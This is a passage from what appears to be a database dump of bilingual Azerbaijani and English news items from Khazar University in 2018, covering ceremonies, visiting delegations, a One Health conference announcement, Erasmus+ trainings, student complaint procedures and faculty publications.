26 saylı, Nizami rayonu 12 saylı, Suraxanı rayonu 290 və 316 saylı orta məktəblərin şagirdləri iştirak edirdilər.</p><p>Tədbiri giriş sözü ilə kitabxananın direktoru Sevil Əliyeva açaraq, sözü tədbir iştirakçılarına verdi. Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə doktoru Xaqan Balayev, Nizami Rayon İcra Hakimiyyətinin İctimai-siyasi və humanitar məsələlər şöbəsinin baş məsləhətçisi Mürvət İbrahimov və hərbi jurnalist Şəmistan Nəzirlinin qanlı mart soyqırımı ilə bağlı məruzələri dinlənildi. Xəzər Universiteti tələbələrindən tarix ixtisasının IV kurs tələbəsi İlahə Yusiflinin çıxışı çox maraqla qarşılandı.</p><p>Tədbirdə məktəb şagirdləri ədəbiyyatımızda mart soyqırımına həsr olunmuş əsərlərdən şeir nümunələri söylədilər. Tədbirin sonunda xatirə şəkli çəkildi.</p>'),(5302,3070,'en','A ceremony “Remember the genocide”','On March 30, 2018, a ceremony “Remember the genocide” dedicated to March 31...','<p>On March 30, 2018, a ceremony “Remember the genocide” dedicated to March 31 - Genocide of Azerbaijanis was held in the conference hall of Central Library, jointly organized by Cultural and Tourism Head Office of Baku City and Central Library of Centralized Library System of Nizami District. Khagan Balayev, instructor of Department of History and Archeology of Khazar University, students of Department of Education as well as students of school number 26, Khazar district, school number 12, Nizami district, and schools number 209 and 316, Surakhani district, also participated in the ceremony.</p><p>Sevil Aliyeva, Director of the library opened the ceremony and offered the floor to participants.</p><p>Khagan Balayev, PhD in Political Sciences and instructor of Department of History and Archeology of Khazar University, Murvat Ibrahimov, leading advisor of the Division of Political and Humanitarian Issues, Nizami District Executive Power, and Shamistan Nazirli, military journalist, delivered speeches on bloody genocide. Moreover, the audience welcomed İlaha Yusifli’s, the fourth-course student of Khazar University, speech with interest.</p><p>School students recited poems dedicated to the March genocide. Memory photos were taken at the end of the ceremony.</p>'),(5303,3071,'az','KUNİB-in Türkiyədən olan qonaqları Xəzər Universitetində oldular','2018-ci il martın 31-də Bakıda KUNİB – Kafkas Universiteler Birliyinin təhsil sərgisi keçirildi...','<p>2018-ci il martın 31-də Bakıda KUNİB – Kafkas Universiteler Birliyinin təhsil sərgisi keçirildi. Sərgidə Türkiyə universitetlərini təmsil edən qonaqlar Xəzər Universitetini ziyarət etdilər. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı dəyirmi masa ətrafında qonaqları səmimi salamladı. KUNİB başqanı Ramazan Korkmaz, Yıldırım Beyazit Universitetinin rektoru professor Metin Doğan, İstanbul Gedik Universitetinin rektoru professor Zafer Utlu, Nevşehir Hacı Bektaş Veli Universitetinin rektoru professor Mazhar Bağlı, Kastamonu Universitetinin rektoru professor Seyit Aydın, Maltepe Universitetinin rektoru professor Belma Akşit, Erciyes Universitetinin prorektoru professor Mustafa Kamal Apalak, Başkent Universitetinin prorektoru professor Nermin Özgülbaş, Yunus Emre İnstitutu başkanı Cihan Özdemir, Kars Kafkas Universiteti bölüm başqanı professor Hacalı Nəcəfoğlu, Odlar Yurdu Universitetinin prorektoru Ceyhun Osmanlı və digər qonaqlar universitetləri haqqında məlumat verdilər. Təhsil fakültəsinin dekanı Elza Səmədova Xəzər Universiteti haqqında qonaqlara görüntülü məlumat verdi. Görüşdə Xəzər Universitetinin rektoru Hassan Niknafs, Akademik işlər üzrə prorektor Məhəmməd Nuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Elmi işlər üzrə prorektor İradə Xəlilova, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov, Təhsil fakültəsinin dekanı Elza Səmədova, İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli, İnkişaf Mərkəzinin direktoru Raziyə İsayeva, Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova və digərləri iştirak etdilər. Qonaqların şərəfinə böyük ziyafət verildi.</p>'),(5304,3071,'en','Turkish representatives of KUNIB visit Khazar University','KUNIB (Caucasus University Association) held an exhibition in one of the hotels...','<p>KUNIB (Caucasus University Association) held an exhibition in one of the hotels in Baku, on March 31, 2018. Representatives of Turkish universities visited Khazar University. Prof. Hamlet Isakhanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, warmly welcomed the guests. Ramazan Korkmaz, President of KUNIB, Prof. Metin Dogan, Rector of Yıldırım Beyazıt University, Prof. Zafer Utlu, Rector of Istanbul Gedik University, Prof. Mazhar Baghli, Rector of Nevsehir Hacı Bektaş Veli University, Prof. Seyit Aydin, Rector of Kastamonu University, Prof. Belma Akshit, Rector of Maltepe University, Prof. Mustafa Kamal Apalak, Vice -rector of Erciyes University, Prof. Nermin Ozgulbash, Vice-rector of Başkent University, Cihan Ozdemir, President of Yunus Emre Institute, Prof. Hacali&nbsp;Nacafoghlu, Head of Department of Kars Kafkas University, Jeyhun Osmanli, Vice-rector of Odlar Yurdu University, and others talked about the university they represented. Elza Semedli, Dean of the School of Education, made&nbsp;a presentation about Khazar University. Dr.&nbsp;Hassan Niknafs, Rector of Khazar University, Prof. Mahammad Nuriyev, Vice-rector for Academic Affairs, Isakhan Isakhanli, Vice-rector for Administration and Student Affairs, Irada Khalilova, Vice-rector for Research, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, Elza Semedli, Dean of the School of Education, Alovsat Amirbeyli, Director for Public Relations and Media, Raziya Isayeva, Director of the Centre for Development, Lyudmila Sotova, Director of the Quality Assurance Center, and others participated at the meeting. A banquet was held in honor of the guests.    </p>'),(5305,3072,'az','Dr. Telman Nüsrətoğlunun məqaləsi “Türkiye” qəzetində','2018-ci il martın 30-da Türkiyənin aparıcı qəzetlərindən olan “Türkiye...','<p>2018-ci il martın 30-da Türkiyənin aparıcı qəzetlərindən olan “Türkiye” qəzetində Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Dr. Telman Nüsrətoğlunun Rusiya ətrafında yaranan geosiyasi şəraiti şərh edən “Kara bulutlar Rusya semalarında” adlı məqaləsi dərc olunmuşdur. Eyni zamanda, TRT televiziya kanalının “Xəbərlər” proqramında 31 Mart –&nbsp;Azərbaycanlıların Soyqırım Gününün tarixi həqiqətləri mövzusunda Dr. T.Nüsrətoğlunun çıxışı oldu. Əsasən rus, Azərbaycan və Gürcüstan arxivlərində olan, bu soyqırım&nbsp;hadisəsini bütün çılpaqlığı ilə ortaya qoyan sənədlər və AXC-nin 1918-ci ildə qurduğu Fövqəladə Təhqiqat Komissiyasının materialları haqqında tamaşaçılara məlumat verildi.</p>'),(5306,3072,'en','An article by Dr. Telman Nusratoghlu published in the newspaper of “Turkish”','Dr. Telman Nusratoghlu’s, instructor of the Department of History and Archeology of Khazar...','<p>Dr. Telman Nusratoghlu’s, instructor of the Department of History and Archeology of Khazar University, article “Black clouds in the Russian skies”, which deals with geopolitical issues around Russia, was published in the newspaper of “Türkiye”, one of the leading newspapers of Turkey, March 30, 2018. Besides, on March 31, 2018, Dr.&nbsp;Telman Nusratoghlu participated in the “News” broadcast, TRT channel, and talked about March 31 - Genocide of Azerbaijanis. He also talked about archive documents from Russia, Azerbaijan and Georgia which expose genocide as reality as well as materials of Emergency Investigation Commission established by the Azerbaijan Democratic Republic in 1918.  </p>'),(5307,3074,'az','1-ci Beynəlxalq Azərbaycan Tək Sağlamlıq konfransı keçiriləcək','2018-ci il iyunun 1-i və 2-də Bakı şəhərində Xəzər Universitetinin təşkilatçılığı ilə...','<p>2018-ci il iyunun 1-i və 2-də Bakı şəhərində Xəzər Universitetinin təşkilatçılığı ilə <strong>1-ci Beynəlxalq Tək Sağlamlıq Konfransı</strong> keçiriləcək. Konfransın əsas mövzusu belədir: “<em>Tək Sağlamlıq: Problemlər və həllər\".&nbsp;</em>Bu mövzu Azərbaycanda Tək Sağlamlıq sahəsində aparılan tədqiqatlardan yeni innovasiyalara qədər kritik və mühüm əhəmiyyətli sessiyalardan ibarət olacaq. Konfransda insan, heyvan və bitki daxil olmaqla, ən yaxşı səviyyədə sağlam&nbsp;qida və ətraf mühitə&nbsp;nail olmaq üçün yeni Tək Sağlamlıq tədbirləri, xəstəliklərin idarə edilməsi və qarşısının alınması strategiyaları, Azərbaycanda Tək Sağlamlıq potensialının gücləndirilməsi və inkişafı üzrə təqdimatlar və müzakirələr ediləcəyi nəzərdə tutulur. Konfransda, həmçinin, gənc tədqiqatçılar və mütəxəssislər arasında regional və qlobal səviyyədə gələcək əməkdaşlığı inkişaf etdirmək üçün yeni əlaqələrin qurulması təşviq olunacaq.</p>\r\n<p><strong>Konfransın əsas mövzuları:</strong></p><ul><li>Antimikrobial Rezistentlik;</li><li>Ekosistem sağlamlığı (insan, heyvan, bitki, qida və ətraf mühit sağlamlığı);</li><li>İctimai sağlamlıq;</li><li>Tək Sağlamlıq tədbirləri.</li></ul><p><strong>Sponsor və sərgi təqdimatı</strong></p><p>Konfrans sponsor və sərgi üçün şirkətlərin xidmət və məhsullarının nümayişi və təqdimatı üçün unikal bir fürsətdir. <strong><em>İştirak etmək üçün erkən sifarişlər tövsiyə olunur.</em></strong></p><p><strong>Məruzələr və poster təqdimatları</strong></p><p>Elmi Təşkilat Komitəsi məruzə və poster təqdimatları üçün abstraktları seçəcək. Posterlərin konfransda nümayişi üçün təqdimatçılar posterlərini iyunun 1-də saat 10:00-dan etibarən iyunun 2-nə qədər göstərilən yerdə asmalı və məlumat vermək üçün fasilələr zamanı posterlərinin yanında durmalıdırlar. Poster təqdimatı zamanı seçki komitəsi keyfiyyətli poster təqdimatına əsaslanaraq (poster təqdimatı zamanı keyfiyyətli poster və onun təqdim edilməsi), ən yaxşı posteri seçəcək və təqdimatçıya digər konfransda iştirak etmək üçün pul mükafatı təqdim edəcək. Abstraktlar konfransın internet səhifəsində onlayn təqdim edilməlidir.</p>\r\n<p><strong>Tezislərin və məqalələrin çap olunması</strong></p><p>Tezislər və məqalələr resenziyalaşdırılan elmi jurnalların birinin xüsusi nömrəsində və eləcə də, konfransın elektron kitabında dərc ediləcək. Müəlliflər hər təqdimata bir məqalə təqdim edə bilərlər.&nbsp;</p><p><strong>Daha geniş məlumatı bu veb-səhifədən əldə etmək olar:</strong></p><p><a href=\"http://onehealth.az/?lang=az\">http://onehealth.az</a></p>'),(5308,3074,'en','1st International Conference on One Health Azerbaijan to be held','On June 1-2, 2018, Khazar University will hold the 1st International Conference on One Health...','<p>On June 1-2, 2018, Khazar University will hold the <strong>1<sup>st</sup> International Conference on One Health</strong> in Azerbaijan. The main theme of the conference is “<em>Problems and their Solutions in One Health</em>”, which will cover a wide range of critically important sessions from basic research to innovations in One Health in Azerbaijan. The conference intends to use discussions and presentations on new One Health Approaches, food safety, diseases control and prevention strategies, policies and One Health capacity building to achieve the best health for people, animal and our environment in Azerbaijan. We encourage building new relationships among young researchers and experts in order to boost future collaboration at regional and global levels.</p><p><strong>Conference Highlights</strong></p><ul><li>Antimicrobial Resistance</li><li>Ecosystem Health (human, animal, plant, food safety and environmental health)</li><li>Public Health</li><li>One Health Approach</li></ul><p><strong>Call for Sponsors &amp; Exhibitors</strong></p><p>The Conference is a unique opportunity for sponsors and exhibitors to demonstrate and promote latest services and product portfolio of companies. <strong><em>Early bookings are recommended.</em></strong></p><p><strong>Oral and poster presentations</strong></p><p>The Scientific Organization Committee will select abstracts for oral and poster presentations. On-board poster presenters must bring their printed posters to the conference, set up from 10:00 on June 1<sup>st</sup> onwards June 2<sup>nd</sup>, and stand beside their posters during coffee breaks. During the poster presentation, the Scientific Committee will choose outstanding best poster based on the evaluation. Abstracts must be submitted online at the Conference website.</p><p><strong>Proceedings/publications</strong></p><p>The proceedings will be published in one of the special issue of the scientific peer-reviewed journal, as well as in the Conference electronic book. Authors can submit one paper for each presentation.&nbsp;</p><p><strong>For registration and more information please visit our website:&nbsp;</strong></p><p><a href=\"http://onehealth.az/?lang=en\">http://onehealth.az</a></p>'),(5309,3075,'az','AESOP Erasmus+ layihəsi çərçivəsində Xəzər Universitetinin əməkdaşlarına təlim keçirildi','2018-ci il martın 29-da “Advocacy Establishment for Students through Ombudsman Position...','<p>2018-ci il martın 29-da “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ layihəsi çərçivəsində Ombudsman Mərkəzinin təşəbbüsü ilə Xəzər Universitetinin əməkdaşlarına təlim keçirildi. Təlimin əsas məqsədi universitet əməkdaşlarını universitetin strukturu, fakültələrin və departamentlərin vəzifələri, nizam-intizam qaydaları, tələbələrin hüquq və öhdəlikləri və s. haqqında ətraflı məlumatlandırmaq idi.</p><p>Bununla yanaşı, tədbir zamanı AESOP layihəsi və yeni yaradılmış “Ombudsman Mərkəzi” haqqında da məlumat verildi. Təlimdə 36 nəfər əməkdaş iştirak etdirdi. Təlim zamanı iştirakçılar qarşılıqlı müzakirələr etdilər və öz təkliflərini irəli sürdülər.</p><p>Qeyd edək ki, “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ layihəsi çərçivəsində 2018-ci ilin fevralın 7-də Xəzər Universitetində Ombudsman Mərkəzi yaradılmışdır.</p>'),(5310,3075,'en','Khazar University staff members participate in a training within AESOP Erasmus+ project','On March 29, 2018, on the initiative of Ombudsman Office, Khazar University staff members were...','<p>On March 29, 2018, on the initiative of Ombudsman Office, Khazar University staff members were involved in a training “Advocacy Establishment for Students through Ombudsman Position” within AESOP Erasmus+ project. The main aim of the training was to enlighten the staff members on the structure of the university, obligations of Schools and Departments, internal discipline, rights and duties of students, etc.</p><p>Moreover, training participants were informed about the AESOP project as well as Ombudsman Office established within this project. 36 staff members participated in the training, and exchanged views and made suggestions.</p><p>Ombudsman Office was established at Khazar University on February 7, 2018, within “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+ project.</p>'),(5311,3076,'az','TEDxKhazarUniversity lisenziyası yeniləndi','Xəzər Universitetinin Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov...','<p>Xəzər Universitetinin Təhsil departamentinin koordinatoru Qoşqar Məhərrəmov, universitetin əməkdaşları Ülkər Bayramova və Turan Cəfərova ilə birgə Xəzər Universitetində dünya brendi olan TEDx-in növbəti tədbirinin keçirilməsi üçün lisenziya əldə etdilər.</p><p>Qeyd edək ki, bu lisenziya üçün yazışmalar 4 ay idi ki, davam edirdi. Lisenziya TEDx məruzələrinin ideyalarının təqdim olunması və bu ideyaların qlobal və lokal faydalar yaratması fikrini müdafiə etməklə&nbsp;əldə olunur. Bununla yanaşı, TEDx lisenziyasının şərtlərinin də yerində olması lisenziyanın verilməsi üçün əsas amillərdən sayılır. TEDx tədbiri 2018-ci ilin iyun ayına planlaşdırılır.</p>'),(5312,3076,'en','TEDxKhazarUniversity license renewed','Goshgar Maharramov, Coordinator of Department of Education, Khazar University...','<p>Goshgar Maharramov, Coordinator of Department of Education, Khazar University, Ulkar Bayramova and Turan Jafarova, staff members of the University, have received the license to organize next events of TEDx, world brand.</p><p>Staff members negotiated for this license for 4 months. TEDx license is received by submitting ideas for TEDx talks as well as argumentation for local and global benefits of these ideas. Moreover, complying with the terms of TEDx license is one of the important criteria to be granted with the license. TEDx talks are planned to be held in June, 2018.</p>'),(5313,3077,'az','Xəzər Universitetində Açıq Büdcə Sorğusunun 2017-ci il nəticələrinə həsr olunmuş forum keçirildi','2018-ci il aprelin 2-də Avrasiya Bilik Mərkəzi Xəzər Universitetində Açıq Büdcə Sorğusunun...','<p>2018-ci il aprelin 2-də Avrasiya Bilik Mərkəzi Xəzər Universitetində Açıq Büdcə Sorğusunun 2017-ci il nəticələrinə həsr olunmuş forum təşkil etmişdir. Dövlət strukturları, vətəndaş cəmiyyəti və beynəlxalq təşkilatların nümayəndələri ilə birgə Xəzər Universitetində keçirilməkdə olan Təbii Resursların İdarə Olunması üzrə regional təlimin iştirakçiları da foruma qatılmışdılar.</p><p>Tədbirdə Avrasiya Bilik Mərkəzinin direktoru İnqilab Əhmədov Açıq Büdcə Sorğusunun mahiyyətindən və detallarından danışmışdır. Ekspertlər - Ukraynadan Volodimir Tarnay, Rusiyadan Andrey Alayev və Azərbaycandan Azər Mehtiyev sorğuda öz ölkələrinin göstəricilərindən və bu göstəricilərə təsir edən faktorlardan danışmışlar.</p>'),(5314,3077,'en','A forum on Open Budget Survey 2017 held at Khazar University','On April 2, 2018, Eurasia Knowledge Center organized a forum dedicated to the...','<p>On April 2, 2018, Eurasia Knowledge Center organized a forum dedicated to the results of Open Budget Survey 2017 at Khazar University. Participants of the training on Natural Resource Management, which was organized jointly with representatives of government departments, civil society and international organizations, also took part in the forum.</p><p>Ingilab Ahmadov, Director of Eurasia Knowledge Center, talked about the essence and details of Open Budget Survey. Experts Volodimir Tarnay, Ukraine, Andrey Alayev, Russia, and Azer Mehtiyev, Azerbaijan, talked about Open Budget Index of their countries, and the factors which influence this Index.</p>'),(5362,3101,'en','Khazar University staff members visit Shirvan city','On March 30, 2018, Fuat Rasulov, Coordinator of a working group for prospective students...','<p>On March 30, 2018, Fuat Rasulov, Coordinator of a working group for prospective students, Alovsat Amirbayli, Director for Public Relations and Media, and Elvin Mammadov, Coordinator of the Department of Economics and Management, visited Shirvan city. The staff members met with management board of “Alfa” tutoring course and teaching staff of “İstək” Lyceum, and delivered a detailed presentation on Khazar University.</p>'),(5363,3102,'en','Seminar on “Development of Learning and Teaching Strategies”','On April 12, a seminar on “Development of Learning and Teaching Strategies...','<p>On April 12, a seminar on “Development of Learning and Teaching Strategies” was held at Khazar University within PETRA Erasmus+ project. Representatives of 7 universities (Khazar University, Azerbaijan University of Languages, Azerbaijan University, Azerbaijan State Pedagogical University, Nakhchivan State University, Baku Slavic University and Nakhchivan University) made presentations on learning and teaching strategies and held discussions.</p><p>Vusala Gurbanova, a representative of the Ministry of Education, also joined the discussions on further plans within the project and methods of dealing with challenges to be faced at universities when implementing the project.</p>'),(5364,3102,'az','“Təlim və tədris strategiyasının təkmilləşdirilməsi” mövzusunda vorkşop baş tutdu','Aprelin 12-də Xəzər Universitetində PETRA Erasmus+ layihəsi çərçivəsində...','<p>Aprelin 12-də Xəzər Universitetində PETRA Erasmus+ layihəsi çərçivəsində “Təlim və tədris strategiyasının təkmilləşdirilməsi” mövzusunda seminar keçirildi. 7 ali təhsil müəssisəsindən (Xəzər Universiteti, Azərbaycan Dillər Universiteti, Azərbaycan Universiteti, Azərbaycan Dövlət Pedaqoji Universiteti, Naxçıvan Dövlət Universiteti, Bakı Slavyan Universiteti və Naxçıvan Dövlət Universiteti) olan iştirakçılar təlim və tədris strategiyası üzrə təqdimatlarla çıxış etdilər və təqdimatlar əsasında müzakirələr keçirildi.</p><p>Təhsil Nazirliyinin nümayəndəsi Vüsalə Qurbanovanın iştirakı ilə layihə çərçivəsində nəzərdə tutulan planlar və ali təhsil müəssisələrində bu layihənin icrasından irəli gələn çətinliklərin aradan qaldırılması yolları müzakirə olundu.</p>'),(6333,3601,'az','“Uğursuzluqlardan uğurlara” adlı təlim baş tutdu','2018-ci il oktyabrın 30-da Xəzər Universitetində Karyera Mərkəzinin təşkilatçılığı...','<p>2018-ci il oktyabrın 30-da Xəzər Universitetində Karyera Mərkəzinin təşkilatçılığı ilə “Uğursuzluqlardan Uğurlara” mövzusunda seminar keçirildi. Xəzər Universitetinin tələbəsi olan və eyni zamanda, motivator olaraq fəaliyyət göstərən məruzəçi Samir Xəlilov həyatda qarşılaşmış olduğu uğursuz hadisələrin ona necə uğurları qazandırmasından bəhs etdi. O, tələbələrə hansı ixtisasda oxuduqlarından asılı olmayaraq, hansı işi seçmək istədiklərinin qərarını verməli olduqlarını bildirdi və onlara həyatda qarşılaşacaqları uğursuzluqların onları həvəsdən salmamalı, əksinə, onları əsas məqsədinə daha da yaxınlaşdırmalı olduğunu bildirdi.</p><p>Tədbirdə Xəzər Universitetinin Təhsil fakültəsi ilə Mühəndislik və Tətbiqi Elmlər fakültəsinin tələbələri iştirak edirdilər.</p><p>Sonda Samir Xəlilovun motivasiya verici xarakterli qısa filmi ilk olaraq, Xəzər platformasında nümayiş olundu.</p>'),(6334,3601,'en','Training “From Failure to Success” held','On October 30, 2018, on an initiative of Career Center at Khazar University...','<p>On October 30, 2018, on an initiative of Career Center at Khazar University, a training session “From Failure to Success” was held. The speaker Samir Khalilov, a Khazar University graduate, who functions as a motivator, talked about how his failures led him to success. He noted that all the students, regardless of their specialties, have to make their minds on which profession they want to pursue, and added that they should not get discouraged by failure, on the contrary, they need to regard failure as a step towards success.</p><p>The workshop was attended by students of the School of Education and the School of Engineering and Applied Sciences.</p><p>At the end, a motivational short movie, directed by Samir Khalilov, was demonstrated at Khazar platform for the first time.</p>'),(5365,3103,'az','Doktorantın yerli jurnalda növbəti məqaləsi çap edildi','Xəzər Universiteti, Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın...','<p>Xəzər Universiteti, Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “N.Çomskinin sintaktik təlimində dil səriştəsi və dildən istifadə” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən Sumqayıt Dövlət Universitetinin “Sosial və Humanitar elmlər bölməsi” jurnalının 2018-ci il üçün olan 1-ci sayında çap edilmişdir (ISSN1680-1245). Məqalədə Amerikan dilçisi, filosofu və ictimai xadimi N.Çomskinin sintaktik konsepsiyasının əsas istiqamətləri, dilçilik görüşlərinin mahiyyəti, sintaktik struktur, dil səriştəsi, dildən istifadə qaydaları və müasir dilçilikdə sintaksis istiqamətində apardığı tədqiqatlar və elmə gətirdiyi yeniliklər geniş formada araşdırılaraq oxucuya çatdırılmışdır.</p><p>Məqalənin tam şəkildə PDF&nbsp;formatda <strong><a href=\"/files/letters/SDU_jurnali.PDF\">burada</a>&nbsp;</strong>oxumaq olar.</p>'),(5366,3103,'en','Research paper by a PhD student','An article “N. Chomsky’s language skills and language use in syntactic learning” by Valida Karimova...','<p>An article “N. Chomsky’s language skills and language use in syntactic learning” by Valida Karimova, Vice-dean of the School of Humanities and Social Sciences, has been published in “Social and Humanities” journal, the first issue for 2018 (ISSN1680-1245), of Sumgait State University. The journal is included in Periodical Scientific Publications of the Supreme Attestation Commission under the President of the Republic of Azerbaijan. The article deals with main components of syntactic concepts proposed by N.Chomsky, an American linguist, philosopher and public feature, as well as syntactic structure, language skills, language use and syntax in modern linguistics.</p><p>Read the full article here:&nbsp;<strong><a href=\"http://www.khazar.org/files/letters/SDU_jurnali.PDF\">PDF</a> </strong> <br></p>'),(5367,3104,'az','Tələbələrin irad və şikayətlərinə xüsusi diqqət ayrılır','Xəzər Universitetinin tələbələrindən tədris prosesi zamanı qarşılaşdıqları...','<p><strong>Tələbələrin nəzərinə!</strong></p><p>Xəzər Universitetinin tələbələrindən tədris prosesi zamanı qarşılaşdıqları mənfi hallarla bağlı şikayət və iradlarını universitetin köhnə binasının birinci mərtəbəsinin girişində və yeni binasının 3-cü mərtəbəsində (301N(a) otağının yanında) yerləşdirilmiş qutulara ataraq, yazılı şəkildə bildirmələri xahiş olunur.</p><p>Şikayət və iradlar universitetin rəhbərliyinə təqdim olunacaq və lazımı tədbirlər həyata keçiriləcək.</p><p style=\"text-align:right\"><strong><em>Ombudsman Mərkəzi </em></strong> <br></p>'),(5368,3104,'en','Particular attention is paid to the students\' remarks and complaints','Khazar University students are requested to express their remarks...','<p><strong>To the students\' attention!</strong></p><p>Khazar University students are requested to express their remarks and complaints in a written form about negative cases they have encountered in the course of teaching process and drop their written comments in a box, placed both at the entrance of the ground floor of Old building and on the third floor (next to room 301N(a)) of the New building.</p><p>Remarks and complaints will be submitted to the administration and relevant measures will be taken.</p>\r\n<p style=\"text-align:right\"><strong><em>Ombudsman Office</em></strong></p>'),(5369,3105,'az','FHN-nin Yanğına qarşı Mübarizə İdarəsinin əməkdaşları tələbələrlə görüşdülər','2018-ci il aprelin 16-da Xəzər Universitetində FHN-nin Yanğına qarşı Mübarizə İdarəsi...','<p>2018-ci il aprelin 16-da Xəzər Universitetində FHN-nin Yanğına qarşı Mübarizə İdarəsi əməkdaşlarının iştirakı ilə seminar keçirildi. Seminarı universitetin İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli açaraq təhlükəsizlik tədbirləri haqqında məlumat verdi və qonaqları seminar iştirakçılarına təqdim etdi. FHN-nin Bakı Regional Mərkəzinin baş zabiti kapitan Ramil Səfərov və FHN-nin Dövlət Yanğın Nəzarəti Xidmətinin 3-cü Ərazi Dövlət Yanğın Nəzarəti İdarəsinin böyük inspektoru daxili xidmət mayoru Xanlar Mahmudov təhlükəsizlik tədbirləri haqqında geniş məlumat verdilər.</p><p>Sonra tələbələri maraqlandıran suallar cavablandırdı.</p>'),(5370,3105,'en','Ministry of Emergency Situations staff members meet students','On April 16, 2018, staff members of Fire Fighting Unit, Ministry of Emergency Situations, held a workshop...','<p>On April 16, 2018, staff members of Fire Fighting Unit, Ministry of Emergency&nbsp;Situations, held a workshop at Khazar University. Alovsat Amirbeyli, Director for Public Relations and Media, opened the workshop talking about safety and introduced guests to workshop participants. Captain Ramil Safarov, chief officer of the Baku Regional Center of the Ministry of Emergency Situations, and internal service major Khanlar Mahmudov, senior inspector of 3<sup>rd</sup> State Territorial Fire Control Office of State Fire Control Service, gave wide information on safety measures, and answered questions of the students.</p>'),(6084,3470,'az','Psixologiya departamentinin magistr tələbələri müdafiə etdilər','2018-ci il oktyabrın 2-də Humanitar və sosial elmlər fakültəsi Psixologiya departamentinin...','<p>2018-ci il oktyabrın 2-də Humanitar və Sosial Elmlər fakültəsi Psixologiya departamentinin magistr tələbələrinin tezislərinin müdafiəsi keçirildi.</p><p>Xəzər Universitetinin Magistratura, Doktorantura və Elmi işlər bölməsinin müdiri Eldar Şahgəldiyev (sədr) müdafiəni açıq elan etdi. Müdafiə Şurasının üzvləri –Humanitar və Sosial Elmlər fakültəsinin dekanı dosent Cabir Xəlilov, Dr. Ləman Verdiyeva, dosent Müşviq Mustafayev, Dr.İnarə Məmmədli, doktorant Mələk Kərimova, şuranın katibi isə Nilufər Əlizadə idilər.</p><p>Psixologiya departamentinin magistr tələbələri Nigar Ağayeva, Fəridə Məmmədova, Sona Davudova, Günay İsmayılova, Bibixanım Quliyeva və Nərmin Sucayeva tezislərini müdafiə etdilər.</p>'),(5372,3106,'en','Ombudsman Office conducts a survey among students','Ombudsman Office, established at Khazar University within the project “Advocacy Establishment...','<p>Ombudsman Office, established at Khazar University within the project “Advocacy Establishment for Students through Ombudsman Position” (AESOP) Erasmus+, conducts an anonymous survey among students. The main aim of the survey is to find out students’ remarks and complaints related to negative cases which students encounter in the course of the teaching process, and submit survey findings to the university administration so that administration can take relevant measures.</p><p>Students can leave their written comments in a box put both at the entrance of the ground floor of the older building and on the third floor (next to room 301 N(A) of the new building.</p><p>The survey will last until April 27.</p>'),(5373,3107,'az','“Azərbaycan Parlamentarizmi tarixi – 100” adlı tədqiqat əsəri çap edildi','2018-ci ilin martın 15-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi...','<p>2018-ci ilin martın 15-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi tarix üzrə fəlsəfə doktoru Ziyad Əmrahovun oxuculara təqdim olunan “Azərbaycan Parlamentarizmi tarixi – 100” adlı tədqiqat əsəri Azərbaycan Xalq Cümhuriyyəti Parlametinin yaradılmasının 100 illik yubileyinə həsr olunmuşdur.</p><p>Kitabda tarixi Azərbaycan ərazilərinin Qacarlar və Çar Rusiyası arasında ikiyə parçalanmasından sonra Azərbaycan aydınlarının müstəqillik uğrunda mübarizə mərhələləri, 1917-ci ildə Çar Rusiyasının dağılmasından sonra Azərbaycanda ilk respublika quruluşunun, Xalq Cümhuriyyətinin yaradılması və Azərbaycan Xalq Cümhuriyyətinin Parlamentinin çıxardığı qanun və qərarlar, eləcə də, 1920-ci il aprelin 28-də Azərbaycan Xalq Cümhuriyyətinin işğalından sonra Azərbaycan SSR qanunvercilik orqanının formal müstəqilliyi, Azərbaycan Parlamentarizmi tarixində Müvəqqəti İnqilab Komitəsi, Ümumazərbaycan Sovetlər qurultayları, Mərkəzi İcraiyyə Komitəsi, Azərbaycan SSR Ali Sovetinin fəaliyyəti, çıxardığı qanun və qərarlar arxiv sənədləri, dövri mətbuat və tarixi ədəbiyyat əsasında tədqiq edilmişdir.</p><p>Tədqiqat əsəri Azərbaycan tarixi, beynəlxalq münasibətlər tarixi ilə məşğul olan mütəxəssislər, eləcə də geniş oxucu dairəsi üçün nəzərdə tutulmuşdur.</p>'),(5374,3107,'en','A research work “History of Azerbaijani Parliamentarism - 100” published','On April 15, 2018, a research work “History of Azerbaijani Parliamentarism...','<p>On April 15, 2018, a research work “History of Azerbaijani Parliamentarism - 100” by Ziyad Amrahov, instructor of the Department of History and Archeology of Khazar University and PhD in History, was presented to readers. The research work is dedicated to the 100th anniversary of the establishment of the Parliament of the Azerbaijan Democratic Republic.</p><p>The book covers the following topics: struggle for independence of Azerbaijani intellectuals after division of Azerbaijan between the the Gajars and the Russian Empire; establishment of the first republic in Azerbaijan after the collapse of the Russian Empire; laws and regulations by the Parliament of the Azerbaijan Democratic Republic; formal independence of the legislative body of Azerbaijan SSR after invasion of Azerbaijan; Temporary Revolutionary Committee in history of Azerbaijani Parliamentarism; Azerbaijan Soviet congresses; Central Executive Committee; activity of the Supreme Soviet of the Azerbaijan SSR and its laws and regulations. All the above mentioned topics were studied based on archive documents, press and historical literature. The research work is meant for experts in the history of Azerbaijan and history of International Relations as well as ordinary readers.</p>'),(5375,3108,'az','Tarix və arxeologiya departamentinin müəllimi Türkiyənin TRT kanalında çıxış etdi','2018-ci il aprelin 12-də 